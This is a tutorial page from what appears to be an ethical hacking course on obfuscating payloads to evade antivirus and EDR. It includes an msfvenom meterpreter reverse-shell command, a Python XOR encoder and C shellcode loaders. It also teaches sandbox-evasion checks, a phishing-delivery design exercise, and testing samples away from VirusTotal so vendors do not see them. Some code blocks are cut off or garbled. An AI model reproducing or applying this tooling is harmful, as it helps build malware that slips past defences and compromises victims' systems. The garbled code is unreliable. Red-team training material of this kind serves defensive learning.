FREE
Part of the Free Ethical Hacking Course
Real payload obfuscation in 2026 is a layered problem. You’re not fighting one detection method — you’re fighting signature scanning, behavioural analysis, heuristic detection, and cloud-based sandboxes simultaneously. Beating all four requires understanding what each one looks for and applying the minimum transformation needed to defeat it without introducing new signatures.
I’m covering the techniques that actually work on modern EDR in controlled red team environments: encoding, encryption, packing, string obfuscation, and sleep-based sandbox evasion. Everything here is for authorised red team engagements. The controls exist for real reasons — your job in a red team context is to simulate what a sophisticated attacker would do, so the blue team can learn what to detect.
🎯 What You’ll Master in Day 34
⏱️ 40 min · 3 exercises · Kali Linux recommended
📋 Prerequisites — Day 34
- Day 33: AV Evasion Basics — Signature vs behaviour detection — essential context for understanding which obfuscation technique defeats which detection method
- Kali Linux with msfvenom available (part of Metasploit Framework)
- Basic Python knowledge for encoding script examples
📋 Payload Obfuscation 2026 — Contents
Why Built-in Encoders Fail Modern AV
Let’s start with what msfvenom gives you out of the box and why it’s not enough. The built-in encoders — shikata_ga_nai, xor_dynamic, zutto_dekiru — were effective in 2015. Today they’re fully signatured. Every major AV products because signature databases didn’t contain their output patterns. In 2026, these encoders are among the most well-documented and widely-detected patterns in AV vendor databases. Running a shikata_ga_nai-encoded payload through any commercial AV product produces a detection rate of 30-50+ engines out of 72 — worse than some unencoded payloads.
The reason is straightforward: encoder algorithms are public. AV vendors add signatures for the encoder stubs (the decoder code that runs first before handing control to the payload), for the encoded payload patterns, and for the characteristic code sequences of the encoding algorithm itself. The only encoding that defeats signature detection reliably is encoding the AV vendor has never seen — which means custom encoding pipelines, not the built-in options that every red teamer has used for a decade.
XOR Encoding — The Foundation Technique
XOR is the foundation encoding technique because of its mathematical properties: XOR is its own inverse. If you XOR a byte with a key to encode it, XORing the result with the same key restores the original. This makes XOR encoding simple to implement, fast to execute, and straightforward to decode at runtime without external dependencies. The transformation changes every byte in the payload — a unique key produces a completely unique output pattern that signature databases won’t recognise.
⏱️ 20 minutes · No tools required · Pure analysis
a target running Windows 10 endpoints with Defender + CrowdStrike Falcon.
Intelligence gathering confirmed: signature-based detection is
supplemented by behaviour analysis (process injection monitoring,
network beacon detection, memory scanning).
Your objective: design a payload obfuscation pipeline that:
1. Defeats signature detection (static analysis)
2. Minimises behaviour detection triggers
3. Can be deployed via a phishing document
DESIGN QUESTIONS:
1. ENCODING LAYER
What encoding will you use? Why custom over msfvenom built-in?
What key length and encoding algorithm?
2. ENCRYPTION LAYER
Why add an encryption layer on top of encoding?
What cipher? Why does key storage matter?
3. LOADER DESIGN
The loader decodes/decrypts at runtime. What language?
(C/C++ PE vs PowerShell vs Python vs C#)
What behaviour does each loader language trigger in CrowdStrike?
4. EXECUTION METHOD
How does the loader execute the final shellcode?
(VirtualAlloc + CreateThread vs process injection vs alternative)
Which method triggers the fewest behaviour alerts?
5. DELIVERY MECHANISM
How does the phishing document deliver the loader?
What Office macro or external template approach?
What detection does each trigger?
6. DETECTION RATE TARGET
What is a realistic final detection rate goal?
When is a payload “good enough” for a red team engagement?
📸 Share your pipeline design in #ethical-hacking on Discord.
Multi-Layer Obfuscation Pipelines
Single-layer obfuscation (encoding alone) is defeated by AV engines that recognise the encoding pattern or learn the stub signature. Multi-layer pipelines compound transformations: XOR encode first, then base64 wrap the result, then compress, then encrypt with AES. Each layer adds processing the AV static analyser must reverse to reach the original shellcode. Most AV static analysis engines have depth limits — they follow one or two layers of transformation before timing out or defaulting to a heuristic score rather than the actual payload bytes.
The standard professional red team pipeline for Windows targets: raw shellcode from msfvenom (format: raw bytes) → XOR encoding with a random key → AES-256 encryption with a hardcoded key in the loader → base64 encoding for safe embedding in source code → compiled into a C loader that reverses the pipeline at runtime. The compiled loader is unique on every build because the XOR key is randomised and the AES key is chosen per engagement. The executable has no matching hash in any database.
Custom Packers and Loaders
A loader is a minimal executable whose sole purpose is to decode and execute a payload. The most effective loaders are written in C and compiled specifically for the engagement — producing a PE (Portable Executable) file with unique metadata, no debug symbols, and no recognisable code patterns. The loader allocates executable memory using VirtualAlloc, copies the decoded shellcode into that memory, and transfers execution to it. This is the same technique used by legitimate software protectors, which is why AV products can’t simply block all VirtualAlloc + shellcode execution without creating false positives.
unsigned char buf[] = { 0x4d,0x5a,… }; // XOR+AES encoded shellcode
int xor_key = 0x3f; // decode key
int main() {
// Step 1: XOR decode
for (int i=0; i<sizeof(buf); i++) buf[i] ^= xor_key;
// Step 2: Allocate executable memory
void* exec = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// Step 3: Copy decoded shellcode
memcpy(exec, buf, sizeof(buf));
// Step 4: Execute
((void(*)())exec)();
return 0;
}
Polymorphic Payload Generation
Polymorphic payloads change their own code on each generation while maintaining identical execution behaviour. True polymorphism inserts junk instructions (NOPs, arithmetic that produces no useful result, register swaps), reorders independent code blocks, substitutes equivalent instruction sequences, and randomises variable names and register allocation. The result: each generated sample has a completely different byte sequence despite executing the same payload.
In practice, most penetration testers achieve functional polymorphism through compilation with varying compiler flags, random variable name generation in loader source code, and unique encoding keys per build rather than implementing a true polymorphic engine. The goal is the same: a unique file hash on every build that doesn’t match any known sample in AV databases.
Measuring and Documenting Detection Rates
Every payload in an authorised engagement should be tested for detection rate before deployment. Use nodistribute.com — not VirusTotal — to check detection across multiple AV engines without submitting samples to vendor databases where they would be added as signatures within hours. Document: the detection rate before obfuscation, the detection rate after each obfuscation layer, and the specific technique applied at each step. This documentation goes into the penetration test report as evidence that the payload would evade the target’s specific security products.
⏱️ 25 minutes · Kali Linux required · Lab environment only
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=127.0.0.1 LPORT=4444 -f raw -o payload.bin
ls -la payload.bin
# Step 2: Write the XOR encoder (save as xor_encode.py)
cat > xor_encode.py << 'PYEOF'
import random
key = random.randint(1, 254)
with open("payload.bin","rb") as f: sc = f.read()
encoded = bytes([b ^ key for b in sc])
with open("encoded.bin","wb") as f: f.write(encoded)
# Output C array
print(f"int key = 0x{key:02x};")
print(f"unsigned char buf[{len(encoded)}] = {{")
hex_bytes = [f"0x{b:02x}" for b in encoded]
for i in range(0, len(hex_bytes), 12):
print(" " + ", ".join(hex_bytes[i:i+12]) + ",")
print("};")
PYEOFpython3 xor_encode.py > shellcode.h
# Step 3: Write the C loader (save as loader.c) 📸 Screenshot the hash comparison showing different md5sums. Share in #ethical-hacking on Discord.
cat > loader.c << 'CEOF'
#include
#include
#include
#include “shellcode.h”
int main() {
unsigned char decoded[sizeof(buf)];
for (int i=0; i
⏱️ 15 minutes · Browser only
Search: “AV bypass techniques 2025 2026 site:github.com”
Search: “shellcode loader C AV evasion 2025”
What new techniques are researchers using?
What are AV vendors doing to counter them?
Step 2: Review the Veil Framework (historical reference)
Search: “Veil Framework AV evasion Kali”
Why did msfvenom encoders stop working?
What did Veil do differently?
Step 3: Research behaviour-based bypass challenges
Search: “AMSI bypass 2026 PowerShell”
Search: “ETW patch shellcode loader 2026”
Why is behaviour-based detection harder to bypass than signatures?
What are the current research frontiers?
Step 4: Check what OSCP/CEH exams test
Search: “OSCP payload obfuscation exam”
What level of obfuscation knowledge is tested?
Is exam focus on msfvenom encoding or custom techniques?
Step 5: Summarise the detection avoidance arms race
Write a 5-sentence summary:
– What worked in 2015 (and doesn’t now)
– What works in 2026 (and why it works)
– Why the gap between attacker and defender is shrinking
📸 Share your arms race summary in #ethical-hacking on Discord. Tag #avbypass2026
🧠 QUICK CHECK — Payload Obfuscation
📋 Payload Obfuscation Reference — Day 34
🏆 Day 34 Complete — Payload Obfuscation
Day 35 covers C2 frameworks — Cobalt Strike, Sliver, and Empire — and how red teams maintain covert persistent access in authorised engagements.
What Modern EDR Actually Detects — Building Your Evasion Around the Right Target
The biggest mistake in obfuscation work is fighting the wrong battle. Teams spend hours modifying shellcode signatures when the EDR they’re facing doesn’t use static signatures at all — it uses behavioural hooks in the Windows API. You’ve obfuscated something the detection engine wasn’t looking at.
Modern EDR primarily detects through three channels. API hooking instruments calls like VirtualAlloc, WriteProcessMemory, and CreateRemoteThread — the classic process injection sequence. ETW (Event Tracing for Windows) captures PowerShell, .NET CLR activity, and command-line arguments at the kernel level. Memory scanning looks for shellcode patterns in process memory after execution, not just at the file level.
Understanding which detection channel your target EDR relies on changes your obfuscation approach entirely. File-based static signatures: encode, encrypt, pack. API hooking: use direct syscalls instead of Win32 API wrappers. ETW: patch ETW in-memory or use managed code that doesn’t trigger the hooks. Memory scanning: encrypt the payload in memory and only decrypt immediately before execution.
On a real red team engagement, I identify the target EDR during initial recon — process list, driver names in C:\Windows\System32\drivers\, WMI queries. Knowing whether you’re facing CrowdStrike, SentinelOne, or Microsoft Defender changes your first-stage loader strategy before you write a single line of obfuscation code. The bypass technique is the last step, not the first.
The sandbox detection techniques deserve their own focus because they’re often the deciding factor between a first-stage loader getting caught and passing. Commercial sandboxes (Cuckoo, Any.run, enterprise AV cloud sandboxes) run your payload for a limited window — typically 30 to 120 seconds — and look for malicious behaviour. A payload that sleeps for 300 seconds before executing avoids the entire sandbox window. Combine the sleep with a time validation check: confirm the system has actually been running for 5+ minutes (not a freshly spun VM) before proceeding.
Environmental checks extend this further. Check for a minimum number of running processes. Check for a realistic amount of disk space. Check for mouse movement history. A sandbox environment has characteristics a workstation doesn’t — minimal processes, no user profile data, no browser history. None of these checks is foolproof individually. Combined, they raise the cost of sandbox analysis enough that your payload survives automated detection and only gets flagged by a human analyst, which is a very different situation.
❓ Frequently Asked Questions — Payload Obfuscation 2026
What is payload obfuscation in penetration testing?
What is the difference between encoding and encryption for payloads?
Does msfvenom encoding bypass modern AV?
What is a payload packer?
Is payload obfuscation legal?
What comes after payload obfuscation in the course?
Day 33: AV Evasion Basics
Day 35: C2 Frameworks
📚 Further Reading
- Day 33: AV Evasion Basics — Signature vs behaviour detection — the foundational context for understanding which obfuscation layer defeats which detection method.
- Free Ethical Hacking Course Hub — Full course overview — Day 34 payload obfuscation is the second article in the AV evasion block, leading into Day 35 C2 frameworks.
- AI-Generated Malware and AV Bypass 2026 — How AI tools are being used to generate polymorphic payload variants — the next evolution of obfuscation automation.
- DefensiveCSharp — C# Security Research — C# loader and obfuscation research directly applicable to modern red team payload development on Windows targets.
- AV Evasion Techniques Repository — Curated collection of AV bypass research including loader implementations, encoding pipelines, and AMSI bypass techniques for authorised testing.
1 Comment